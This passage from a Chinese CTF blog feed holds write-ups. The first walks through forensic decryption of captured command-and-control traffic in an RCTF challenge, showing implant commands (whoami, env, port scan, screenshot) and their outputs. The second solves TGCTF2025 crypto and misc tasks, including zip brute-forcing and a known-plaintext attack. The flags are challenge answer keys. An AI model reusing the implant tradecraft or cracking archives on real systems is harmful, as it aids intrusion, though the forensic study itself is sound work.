decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现 /contact 传了base64&lt;/p&gt;&#xA;&lt;p&gt;解码后是&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;systemInfo&amp;quot;:{&amp;quot;hostname&amp;quot;:&amp;quot;DESKTOP-EO5QI9P&amp;quot;,&amp;quot;username&amp;quot;:&amp;quot;dell&amp;quot;,&amp;quot;osType&amp;quot;:&amp;quot;Windows_NT&amp;quot;,&amp;quot;osRelease&amp;quot;:&amp;quot;10.0.17763&amp;quot;,&amp;quot;platform&amp;quot;:&amp;quot;win32&amp;quot;,&amp;quot;arch&amp;quot;:&amp;quot;x64&amp;quot;,&amp;quot;PID&amp;quot;:4424,&amp;quot;Process&amp;quot;:&amp;quot;C:\\Users\\dell\\Desktop\\Microsoft VS Code\\Code.exe&amp;quot;,&amp;quot;IP&amp;quot;:[&amp;quot;192.168.77.140&amp;quot;],&amp;quot;mode&amp;quot;:&amp;quot;egress&amp;quot;},&amp;quot;timestamp&amp;quot;:1763185526894,&amp;quot;signature&amp;quot;:&amp;quot;crCZOGosG07B43yK1t5Jw+CMxgA/tRc7MNE14SRiYJM=&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;有问题 然后看到响应中的注释 build和version分别是AES的KEY和IV&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/6a743e56-a673-4da5-9b58-b155edb20f9f.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;下面紧接着又出现了build&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/2631e676-c959-4ef8-99d5-194e42fe4369.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;解密得到第一次执行的命令 &lt;code&gt;spawn whoami&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-2-the-heartbeat&#34;&gt;&lt;strong&gt;Challenge 2: The Heartbeat&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-2-the-heartbeat&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;Thor&amp;rsquo;s attacks were chaotic—random intervals, sporadic bursts, the rhythm of fury. But Loki&amp;rsquo;s agent operated with cold precision.&lt;/p&gt;&#xA;&lt;p&gt;Buried in the noise, the agent sent regular heartbeats back to its master, each pulse proving it remained alive and obedient. These signals followed a steady cadence, mechanical and unwavering.&lt;/p&gt;&#xA;&lt;p&gt;Find the pattern. Find the pulse.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; How many seconds passed between each heartbeat of Loki&amp;rsquo;s agent?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flag Format:&lt;/strong&gt; integer (e.g., 30)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/8a8f6e72-5e71-437f-bfb8-81a8c22fadd7.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/14c8bf48-4937-4de3-86a1-9b526896c89c.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现 /styles/theme.css 的 X-Cache-Data 是响应&lt;/p&gt;&#xA;&lt;p&gt;过滤一下看时间&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/31d5b567-1bde-445a-8660-166b37ce97a6.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;可以看出来心跳差不多是10秒&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;10&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-3-the-heart-of-iron&#34;&gt;&lt;strong&gt;Challenge 3: The Heart of Iron&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-3-the-heart-of-iron&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;&amp;ldquo;Every warrior has a heart that drives them. For mortals, it beats with blood. For machines, it pulses with silicon and electricity. Loki, ever curious, sought to know the very core of Thor&amp;rsquo;s weapon—the processor that powers his digital fortress.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;During his infiltration, Loki commanded his agent to enumerate the environment, cataloging every detail of Thor&amp;rsquo;s system. Among the mundane variables and paths, one piece of information reveals the machine&amp;rsquo;s very identity—its processor, the beating heart of computation.&lt;/p&gt;&#xA;&lt;p&gt;Like a smith examining the forge that created a sword, Loki identified the specific metal and make of Thor&amp;rsquo;s processor.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; What processor model powers Thor&amp;rsquo;s machine?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flag Format:&lt;/strong&gt; Complete_Processor_Model_String (e.g., Intel64 Family 6 Model 85 Stepping 4, GenuineIntel&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;先提取出来所有报文&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;command&amp;quot;:&amp;quot;spawn whoami&amp;quot;,&amp;quot;outputChannel&amp;quot;:&amp;quot;o-27kgboxah4l&amp;quot;,&amp;quot;taskId&amp;quot;:&amp;quot;71c17c09&amp;quot;}&#xA;{&amp;quot;outputChannel&amp;quot;:&amp;quot;o-27kgboxah4l&amp;quot;,&amp;quot;result&amp;quot;:&amp;quot;desktop-eo5qi9p\\dell&amp;quot;,&amp;quot;timestamp&amp;quot;:1763185539163}&#xA;&#xA;&#xA;{&amp;quot;command&amp;quot;:&amp;quot;pwd&amp;quot;,&amp;quot;outputChannel&amp;quot;:&amp;quot;o-7px87l7ja52&amp;quot;,&amp;quot;taskId&amp;quot;:&amp;quot;ca8864bf&amp;quot;}&#xA;{&amp;quot;outputChannel&amp;quot;:&amp;quot;o-7px87l7ja52&amp;quot;,&amp;quot;result&amp;quot;:&amp;quot;C:\\Users\\dell\\Desktop\\Microsoft VS Code&amp;quot;,&amp;quot;timestamp&amp;quot;:1763185550520}&#xA;&#xA;{&amp;quot;command&amp;quot;:&amp;quot;cd ..&amp;quot;,&amp;quot;outputChannel&amp;quot;:&amp;quot;o-8hpo9uozrus&amp;quot;,&amp;quot;taskId&amp;quot;:&amp;quot;476f8331&amp;quot;}&#xA;{&amp;quot;outputChannel&amp;quot;:&amp;quot;o-8hpo9uozrus&amp;quot;,&amp;quot;result&amp;quot;:&amp;quot;Changed directory to C:\\Users\\dell\\Desktop&amp;quot;,&amp;quot;timestamp&amp;quot;:1763185563172}&#xA;&#xA;{&amp;quot;command&amp;quot;:&amp;quot;env&amp;quot;,&amp;quot;outputChannel&amp;quot;:&amp;quot;o-lbgp59stp4&amp;quot;,&amp;quot;taskId&amp;quot;:&amp;quot;e7f2ddd1&amp;quot;}&#xA;{&amp;quot;outputChannel&amp;quot;:&amp;quot;o-lbgp59stp4&amp;quot;,&amp;quot;result&amp;quot;:&amp;quot;{\n  \&amp;quot;ALLUSERSPROFILE\&amp;quot;: \&amp;quot;C:\\\\ProgramData\&amp;quot;,\n  \&amp;quot;APPDATA\&amp;quot;: \&amp;quot;C:\\\\Users\\\\dell\\\\AppData\\\\Roaming\&amp;quot;,\n  \&amp;quot;CommonProgramFiles\&amp;quot;: \&amp;quot;C:\\\\Program Files\\\\Common Files\&amp;quot;,\n  \&amp;quot;CommonProgramFiles(x86)\&amp;quot;: \&amp;quot;C:\\\\Program Files (x86)\\\\Common Files\&amp;quot;,\n  \&amp;quot;CommonProgramW6432\&amp;quot;: \&amp;quot;C:\\\\Program Files\\\\Common Files\&amp;quot;,\n  \&amp;quot;COMPUTERNAME\&amp;quot;: \&amp;quot;DESKTOP-EO5QI9P\&amp;quot;,\n  \&amp;quot;ComSpec\&amp;quot;: \&amp;quot;C:\\\\Windows\\\\system32\\\\cmd.exe\&amp;quot;,\n  \&amp;quot;DriverData\&amp;quot;: \&amp;quot;C:\\\\Windows\\\\System32\\\\Drivers\\\\DriverData\&amp;quot;,\n  \&amp;quot;HOMEDRIVE\&amp;quot;: \&amp;quot;C:\&amp;quot;,\n  \&amp;quot;HOMEPATH\&amp;quot;: \&amp;quot;\\\\Users\\\\dell\&amp;quot;,\n  \&amp;quot;LOCALAPPDATA\&amp;quot;: \&amp;quot;C:\\\\Users\\\\dell\\\\AppData\\\\Local\&amp;quot;,\n  \&amp;quot;LOGONSERVER\&amp;quot;: \&amp;quot;\\\\\\\\DESKTOP-EO5QI9P\&amp;quot;,\n  \&amp;quot;NUMBER_OF_PROCESSORS\&amp;quot;: \&amp;quot;2\&amp;quot;,\n  \&amp;quot;ORIGINAL_XDG_CURRENT_DESKTOP\&amp;quot;: \&amp;quot;undefined\&amp;quot;,\n  \&amp;quot;OS\&amp;quot;: \&amp;quot;Windows_NT\&amp;quot;,\n  \&amp;quot;Path\&amp;quot;: \&amp;quot;C:\\\\Windows\\\\system32;C:\\\\Windows;C:\\\\Windows\\\\System32\\\\Wbem;C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\;C:\\\\Windows\\\\System32\\\\OpenSSH\\\\;C:\\\\Users\\\\dell\\\\AppData\\\\Local\\\\Microsoft\\\\WindowsApps;\&amp;quot;,\n  \&amp;quot;PATHEXT\&amp;quot;: \&amp;quot;.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC\&amp;quot;,\n  \&amp;quot;PROCESSOR_ARCHITECTURE\&amp;quot;: \&amp;quot;AMD64\&amp;quot;,\n  \&amp;quot;PROCESSOR_IDENTIFIER\&amp;quot;: \&amp;quot;Intel64 Family 6 Model 191 Stepping 2, GenuineIntel\&amp;quot;,\n  \&amp;quot;PROCESSOR_LEVEL\&amp;quot;: \&amp;quot;6\&amp;quot;,\n  \&amp;quot;PROCESSOR_REVISION\&amp;quot;: \&amp;quot;bf02\&amp;quot;,\n  \&amp;quot;ProgramData\&amp;quot;: \&amp;quot;C:\\\\ProgramData\&amp;quot;,\n  \&amp;quot;ProgramFiles\&amp;quot;: \&amp;quot;C:\\\\Program Files\&amp;quot;,\n  \&amp;quot;ProgramFiles(x86)\&amp;quot;: \&amp;quot;C:\\\\Program Files (x86)\&amp;quot;,\n  \&amp;quot;ProgramW6432\&amp;quot;: \&amp;quot;C:\\\\Program Files\&amp;quot;,\n  \&amp;quot;PSModulePath\&amp;quot;: \&amp;quot;C:\\\\Program Files\\\\WindowsPowerShell\\\\Modules;C:\\\\Windows\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\Modules\&amp;quot;,\n  \&amp;quot;PUBLIC\&amp;quot;: \&amp;quot;C:\\\\Users\\\\Public\&amp;quot;,\n  \&amp;quot;SESSIONNAME\&amp;quot;: \&amp;quot;Console\&amp;quot;,\n  \&amp;quot;SystemDrive\&amp;quot;: \&amp;quot;C:\&amp;quot;,\n  \&amp;quot;SystemRoot\&amp;quot;: \&amp;quot;C:\\\\Windows\&amp;quot;,\n  \&amp;quot;TEMP\&amp;quot;: \&amp;quot;C:\\\\Users\\\\dell\\\\AppData\\\\Local\\\\Temp\&amp;quot;,\n  \&amp;quot;TMP\&amp;quot;: \&amp;quot;C:\\\\Users\\\\dell\\\\AppData\\\\Local\\\\Temp\&amp;quot;,\n  \&amp;quot;USERDOMAIN\&amp;quot;: \&amp;quot;DESKTOP-EO5QI9P\&amp;quot;,\n  \&amp;quot;USERDOMAIN_ROAMINGPROFILE\&amp;quot;: \&amp;quot;DESKTOP-EO5QI9P\&amp;quot;,\n  \&amp;quot;USERNAME\&amp;quot;: \&amp;quot;dell\&amp;quot;,\n  \&amp;quot;USERPROFILE\&amp;quot;: \&amp;quot;C:\\\\Users\\\\dell\&amp;quot;,\n  \&amp;quot;windir\&amp;quot;: \&amp;quot;C:\\\\Windows\&amp;quot;\n}&amp;quot;,&amp;quot;timestamp&amp;quot;:1763185574274}&#xA;&#xA;{&amp;quot;command&amp;quot;:&amp;quot;scan 127.0.0.1 -p80,445&amp;quot;,&amp;quot;outputChannel&amp;quot;:&amp;quot;o-57dl7fujisl&amp;quot;,&amp;quot;taskId&amp;quot;:&amp;quot;a2b60122&amp;quot;}&#xA;{&amp;quot;outputChannel&amp;quot;:&amp;quot;o-57dl7fujisl&amp;quot;,&amp;quot;result&amp;quot;:&amp;quot;127.0.0.1: 445&amp;quot;,&amp;quot;timestamp&amp;quot;:1763185585787}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;Intel64 Family 6 Model 191 Stepping 2, GenuineIntel&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-4-odin&#34;&gt;&lt;strong&gt;Challenge 4: Odin&amp;rsquo;s Eye&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-4-odin&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;&amp;ldquo;Odin sacrificed his eye to drink from Mimir&amp;rsquo;s well and gain wisdom. Loki needs no such sacrifice—he simply steals the sight of others.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;In the final moments before vanishing, Loki commanded his agent to capture what Thor&amp;rsquo;s own eyes were seeing—a snapshot of the screen, frozen in time. Within this stolen image lies evidence of Thor&amp;rsquo;s own weapons, the very tools he was using to hunt Loki.&lt;/p&gt;&#xA;&lt;p&gt;The irony is exquisite: Thor&amp;rsquo;s scanner, visible on his own screen, was documented by the very enemy he sought to find.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; According to the screenshot Loki exfiltrated, which vulnerability scanning tool was Thor running at that moment?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flag Format:&lt;/strong&gt; ToolGithubRepoName (e.g., if the tool&amp;rsquo;s repository is &lt;a href=&#34;https://github.com/user/AwesomeTool&#34;&gt;https://github.com/user/AwesomeTool&lt;/a&gt;, answer AwesomeTool)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;解密出一条 {&amp;ldquo;command&amp;rdquo;:&amp;ldquo;screenshot&amp;rdquo;,&amp;ldquo;outputChannel&amp;rdquo;:&amp;ldquo;o-ynfqv9m6nx8&amp;rdquo;,&amp;ldquo;taskId&amp;rdquo;:&amp;ldquo;ec409ca6&amp;rdquo;} 截图命令&lt;/p&gt;&#xA;&lt;p&gt;响应的截图分15个区块&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/77085847-1cc0-4209-a032-889403ab95eb.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;将所有区块拼接在一起 解密&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/82740edb-09e8-4946-b86b-1b1093fe6f60.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;再对result 进行b64解码&lt;/p&gt;&#xA;&lt;p&gt;得到图片&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/520dfa11-8348-471c-bc64-45aa7691e3ca.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/de0031b0-9423-427f-ba84-32b785a7eb82.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;工具是&lt;strong&gt;无影(TscanPlus)&lt;/strong&gt; 仓库地址 &lt;a href=&#34;https://github.com/TideSec/TscanPlus&#34;&gt;https://github.com/TideSec/TscanPlus&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;最终Flag：&lt;code&gt;RCTF{Wh1l3_Th0r_Struck_L1ghtn1ng_L0k1_St0l3_Th3_Thr0n3}&lt;/code&gt;&lt;/p&gt;&#xA;</description>
    </item>
    
    <item>
      <title>TGCTF2025 部分WriteUp</title>
      <link>https://new.mnzn.me/posts/tgctf2025-%E9%83%A8%E5%88%86writeup/</link>
      <pubDate>Fri, 01 Aug 2025 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/posts/tgctf2025-%E9%83%A8%E5%88%86writeup/</guid>
      <description>&lt;h2 id=&#34;crypto&#34;&gt;Crypto&lt;a class=&#34;heading-anchor&#34; href=&#34;#crypto&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;aaaaaaaa真签到&#34;&gt;AAAAAAAA·真·签到&lt;a class=&#34;heading-anchor&#34; href=&#34;#aaaaaaaa%e7%9c%9f%e7%ad%be%e5%88%b0&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;给你flag签个到好了&lt;/p&gt;&#xA;&lt;p&gt;诶，我的flag怎么了？？？？&lt;/p&gt;&#xA;&lt;p&gt;好像字母对不上了&lt;/p&gt;&#xA;&lt;p&gt;我的签到怎么办呀，急急急&lt;/p&gt;&#xA;&lt;p&gt;听说福来阁好像是TGCTF开头的喔&lt;/p&gt;&#xA;&lt;p&gt;UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}&lt;/p&gt;&#xA;&lt;p&gt;变种凯撒&lt;/p&gt;&#xA;&lt;p&gt;cipher = &amp;lsquo;UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}&amp;rsquo;&lt;/p&gt;&#xA;&lt;p&gt;flag = &#39;&#39;&lt;/p&gt;&#xA;&lt;p&gt;offset = -1&lt;/p&gt;&#xA;&lt;p&gt;for i in range(len(cipher)):&lt;/p&gt;&#xA;&lt;p&gt;if cipher[i].isalpha():&lt;/p&gt;&#xA;&lt;p&gt;if cipher[i].isupper():&lt;/p&gt;&#xA;&lt;p&gt;flag += chr(((ord(cipher[i]) - ord(&amp;lsquo;A&amp;rsquo;) + offset + i) % 26) + ord(&amp;lsquo;A&amp;rsquo;))&lt;/p&gt;&#xA;&lt;p&gt;else:&lt;/p&gt;&#xA;&lt;p&gt;flag += chr(((ord(cipher[i]) - ord(&amp;lsquo;a&amp;rsquo;) + offset + i) % 26) + ord(&amp;lsquo;a&amp;rsquo;))&lt;/p&gt;&#xA;&lt;p&gt;else:&lt;/p&gt;&#xA;&lt;p&gt;flag += cipher[i]&lt;/p&gt;&#xA;&lt;p&gt;print(flag)&lt;/p&gt;&#xA;&lt;p&gt;TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}&lt;/p&gt;&#xA;&lt;h3 id=&#34;费克特尔&#34;&gt;费克特尔&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e8%b4%b9%e5%85%8b%e7%89%b9%e5%b0%94&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;c=670610235999012099846283721569059674725712804950807955010725968103642359765806&lt;/p&gt;&#xA;&lt;p&gt;n=810544624661213367964996895060815354972889892659483948276203088055391907479553&lt;/p&gt;&#xA;&lt;p&gt;e=65537&lt;/p&gt;&#xA;&lt;p&gt;题目直接叫factor了 上factordb分解下n&lt;/p&gt;&#xA;&lt;p&gt;n = 113 · 18251 · 2001511 · 214168842768662180574654641 · 916848439436544911290378588839845528581&lt;/p&gt;&#xA;&lt;p&gt;from math import gcd&lt;/p&gt;&#xA;&lt;p&gt;from Crypto.Util.number import inverse, long_to_bytes&lt;/p&gt;&#xA;&lt;p&gt;c = 670610235999012099846283721569059674725712804950807955010725968103642359765806&lt;/p&gt;&#xA;&lt;p&gt;n = 810544624661213367964996895060815354972889892659483948276203088055391907479553&lt;/p&gt;&#xA;&lt;p&gt;e = 65537&lt;/p&gt;&#xA;&lt;p&gt;factors = [ 113, 18251, 2001511, 214168842768662180574654641, 916848439436544911290378588839845528581]&lt;/p&gt;&#xA;&lt;p&gt;phi = 1&lt;/p&gt;&#xA;&lt;p&gt;for i in factors:&lt;/p&gt;&#xA;&lt;p&gt;phi *= (i - 1)&lt;/p&gt;&#xA;&lt;p&gt;d = inverse(e, phi)&lt;/p&gt;&#xA;&lt;p&gt;m = pow(c, d, n)&lt;/p&gt;&#xA;&lt;p&gt;message = long_to_bytes(m)&lt;/p&gt;&#xA;&lt;p&gt;print(&amp;ldquo;Flag:&amp;rdquo; + message.decode(&amp;lsquo;utf-8&amp;rsquo;))&lt;/p&gt;&#xA;&lt;p&gt;TGCTF{f4888_6abdc_9c2bd_9036bb}&lt;/p&gt;&#xA;&lt;h2 id=&#34;misc&#34;&gt;Misc&lt;a class=&#34;heading-anchor&#34; href=&#34;#misc&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;next-is-the-end&#34;&gt;next is the end&lt;a class=&#34;heading-anchor&#34; href=&#34;#next-is-the-end&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;n层嵌套的文件夹 写个脚本&lt;/p&gt;&#xA;&lt;p&gt;import os&lt;/p&gt;&#xA;&lt;p&gt;current_path = os.getcwd() + r&amp;quot;\next_or_end&amp;quot; # 初始路径&lt;/p&gt;&#xA;&lt;p&gt;depth = 0&lt;/p&gt;&#xA;&lt;p&gt;while &amp;ldquo;next_or_end&amp;rdquo; in os.listdir(current_path):&lt;/p&gt;&#xA;&lt;p&gt;current_path = os.path.join(current_path, &amp;ldquo;next_or_end&amp;rdquo;)&lt;/p&gt;&#xA;&lt;p&gt;if &amp;ldquo;next_or_end&amp;rdquo; in os.listdir(current_path):&lt;/p&gt;&#xA;&lt;p&gt;depth += 1&lt;/p&gt;&#xA;&lt;p&gt;else:&lt;/p&gt;&#xA;&lt;p&gt;break&lt;/p&gt;&#xA;&lt;p&gt;print(f&amp;quot;最终深度: {depth}&amp;quot;)&lt;/p&gt;&#xA;&lt;p&gt;print(f&amp;quot;最终路径: {current_path}&amp;quot;)&lt;/p&gt;&#xA;&lt;p&gt;finalpath = os.path.join(current_path, &amp;lsquo;you_get_it&amp;rsquo;)&lt;/p&gt;&#xA;&lt;p&gt;filepath = os.path.join(finalpath, &amp;lsquo;flag.txt&amp;rsquo;)&lt;/p&gt;&#xA;&lt;p&gt;with open(filepath, &amp;lsquo;r&amp;rsquo;) as file:&lt;/p&gt;&#xA;&lt;p&gt;flag = file.read()&lt;/p&gt;&#xA;&lt;p&gt;print(flag)&lt;/p&gt;&#xA;&lt;h3 id=&#34;where-it-isosint&#34;&gt;where it is(osint)&lt;a class=&#34;heading-anchor&#34; href=&#34;#where-it-isosint&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/9f64f60c-d3c7-4a3b-a00f-d0e7424bece5.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;截取学校部分的图片 识图 找到学校是[臺北市立內湖高級工業職業學校](&lt;a href=&#34;https://www.nihs.tp.edu.tw/%22&#34;&gt;https://www.nihs.tp.edu.tw/&amp;quot;&lt;/a&gt; \t &amp;ldquo;_blank)&lt;/p&gt;&#xA;&lt;p&gt;上谷歌地图找&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/a4907e16-4036-4a21-a516-a0fbeacd00f3.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;根据街景就能确认这个站点&lt;/p&gt;&#xA;&lt;h3 id=&#34;这是啥o_o&#34;&gt;这是啥o_o&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e8%bf%99%e6%98%af%e5%95%a5o_o&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;附件中是一个Gif文件 帧分离后可得到后几帧中的图片碎片 拼图后是汉信码&lt;/p&gt;&#xA;&lt;p&gt;中国编码app可以识别 结果是time is your fortune ,efficiency is your life&lt;/p&gt;&#xA;&lt;p&gt;这是出题人给的hint 关注时间 于是发现是帧间隔隐写&lt;/p&gt;&#xA;&lt;p&gt;人话就是通过GIF动画每帧图片之间的间隔隐写信息&lt;/p&gt;&#xA;&lt;p&gt;import os&lt;/p&gt;&#xA;&lt;p&gt;from PIL import Image&lt;/p&gt;&#xA;&lt;p&gt;def get_gif_durations(gif_path):&lt;/p&gt;&#xA;&lt;p&gt;try:&lt;/p&gt;&#xA;&lt;p&gt;with Image.open(gif_path) as img:&lt;/p&gt;&#xA;&lt;p&gt;durations = []&lt;/p&gt;&#xA;&lt;p&gt;while True:&lt;/p&gt;&#xA;&lt;p&gt;try:&lt;/p&gt;&#xA;&lt;p&gt;durations.append(img.info.get(&amp;lsquo;duration&amp;rsquo;, 0))&lt;/p&gt;&#xA;&lt;p&gt;img.seek(img.tell() + 1)&lt;/p&gt;&#xA;&lt;p&gt;except EOFError:&lt;/p&gt;&#xA;&lt;p&gt;break&lt;/p&gt;&#xA;&lt;p&gt;return durations&lt;/p&gt;&#xA;&lt;p&gt;except Exception as e:&lt;/p&gt;&#xA;&lt;p&gt;print(f&amp;quot;Error: {str(e)}&amp;rdquo;)&lt;/p&gt;&#xA;&lt;p&gt;return None&lt;/p&gt;&#xA;&lt;p&gt;path = os.getcwd() + r&amp;quot;\a.gif&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;result = get_gif_durations(path)&lt;/p&gt;&#xA;&lt;p&gt;flag = &#39;&amp;rsquo;&lt;/p&gt;&#xA;&lt;p&gt;if result:&lt;/p&gt;&#xA;&lt;p&gt;for i, duration in enumerate(result):&lt;/p&gt;&#xA;&lt;p&gt;flag += chr(duration // 10)&lt;/p&gt;&#xA;&lt;p&gt;print(flag)&lt;/p&gt;&#xA;&lt;p&gt;TGCTF{You_caught_up_with_time!}&lt;/p&gt;&#xA;&lt;h3 id=&#34;ez_zip&#34;&gt;ez_zip&lt;a class=&#34;heading-anchor&#34; href=&#34;#ez_zip&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;爆破压缩包&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/279d2448-55ed-4719-bc0a-a565a03f53f2.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;密码20250412 解压出来文件夹 有一个sh512.txt 内容为 Awesome,you_are_so_good&lt;/p&gt;&#xA;&lt;p&gt;End压缩包中也有一个sh512.txt&lt;/p&gt;&#xA;&lt;p&gt;计算sha512&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/d9489536-58d7-44e0-a0b0-d2328c68147d.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现CRC一样 那就好办了 明文攻击 密钥[ b39bc130 8183a9f1 d5381ad8 ] 解压出flag.zip&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/448e7e6f-ef7d-4dfb-be67-10abcad7813c.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;010看一下&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/8959aaa6-560e-4277-a352-4542982c75da.png&#34; alt=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;两个问题&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;文件名应是flag.txt，长度应为8，而文件中为4 改回8&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;文件是压缩过的，但标记为STORED 改回Deflate&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;解压 修复后的压缩包 提取出flag.txt&lt;/p&gt;&#xA;&lt;p&gt;TGCTF{Warrior_You_have_defeated_the_giant_dragon!}&lt;/p&gt;&#xA;&lt;p&gt;参考：[压缩包Zip格式详析](&lt;a href=&#34;https://blog.csdn.net/qq_43278826/article/details/118436116%22&#34;&gt;https://blog.csdn.net/qq_43278826/article/details/118436116&amp;quot;&lt;/a&gt; \t 